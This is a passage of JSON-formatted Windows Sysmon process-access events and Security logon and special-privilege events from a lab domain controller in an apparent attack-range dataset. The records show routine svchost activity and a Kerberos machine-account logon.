C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2297,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2298,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2299,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.437\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.437","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221569,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3B79E\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3b79e","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221570,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3B79E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49706\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x3b79e","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"49706","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2300,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2301,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2302,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"